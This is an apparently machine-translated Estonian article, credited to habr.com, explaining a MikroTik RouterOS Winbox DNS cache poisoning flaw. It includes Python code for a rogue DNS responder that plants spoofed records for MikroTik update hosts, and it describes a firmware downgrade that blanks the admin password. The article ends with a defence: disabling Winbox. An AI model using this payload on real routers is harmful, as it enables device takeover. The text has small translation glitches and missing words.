
RouterOSi (Mikrotik) seadmete kauguuendamise võimalus seab ohvriks sadu tuhandeid võrguseadmeid. Haavatuse tõttu on seotud Winbox protokolli DNS-vahemälu ründamine, mis võimaldab laadida seadmele vananenud (pöördusparooli "vaikimisi" lähtestamisega) või modifitseeritud püsivara.

Haavatuse üksikasjad
RouterOSi terminal toetab DNS-i otsimise käsu kasutamist.

See päring töödeldakse binaarfaili nimega resolver poolt. Resolver on üks paljusid binaarfailide, mis on seotud RouterOSi Winbox protokolliga. Kõrgel tasemel "sõnumid", mis saadetakse Winboxi pordile, saavad suunata erinevatesse binaarfailidesse RouterOSis vastavalt massiivi põhjalikule nummerdamissemanale.
RouterOSis on vaikimisi DNS-serveri funktsioon keelatud.

Kuid isegi kui serveri funktsioon on keelatud, toetab reitermine oma DNS-vahemälu.

Kui teeme päringu, kasutades winbox_dns_request, näiteks example.com, salvestab ruuter tulemuse.

Kuna me saame määrata DNS-serveri, mille kaudu päring peab minema, on vale aadressi sisestamine triviaalne. Näiteks, võime seadistada DNS-serveri rakenduse , et vastata A-kirjega, mis sisaldab IP-aadressi 192.168.88.250.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()Nüüd, kui Winboxis otsida example.com, näeme, et ruuteri DNS-vahemälu on rünnatud.

Muidugi, example.com-i ründamine pole eriti kasulik, kuna ruuter ei kasuta seda tõeliselt. Sellegipoolest peab ruuter pöörduma upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ja download.mikrotik.com poole. Ja tänu veel ühele veale on võimalus neid kõiki korraga rünnata.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()Ruuter küsib ühte luba, kuid me anname tagasi viis. Ruuter vahemälustab kõik need vastused valesti.

Ilmselgelt on see rünnak kasulik ka juhul, kui ruuter tegutseb DNS-teenusena, kuna see võimaldab rünnata ruuteri kliente.
Samuti võimaldab see rünnak ära kasutada tõsisema haavatavuse: viia läbi RouterOS-i versiooni alandamine või tagasiportimine. Ründaja rekonstrueerib uuenduste серверi loogika, sealhulgas muudatused, ja suunab RouterOS-i käsitlema vananenud (haavatavat) versiooni kui kehtivat. Oht seisneb selles, et 'uuendamise' käigus lähtestatakse administraatori parool vaikeväärtusele – kurjategija saab süsteemi siseneda tühja parooliga!

Rünnak on täiesti toimiv, hoolimata sellest, et rakendab veel mitmeid vektorite, sealhulgas , kuid see on juba liialdatud tehnika ning selle rakendamine ebaseaduslikel eesmärkidel on seadusevastane.
Kaitse
Lihtne Winboxi väljalülitamine aitab kaitsta nende rünnakute eest. Kuigi Winboxi kaudu haldamine on mugav, on parem kasutada SSH-protokolli.
Allikas: habr.com
